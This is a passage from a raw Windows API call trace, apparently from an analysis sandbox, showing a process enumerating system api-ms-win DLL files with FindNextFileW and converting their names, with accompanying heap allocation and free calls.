dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x115c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.466] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x115c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.466] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x115c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.466] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.466] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x115c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0169.466] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x115c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x115c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x115c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0169.467] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.467] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.468] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, 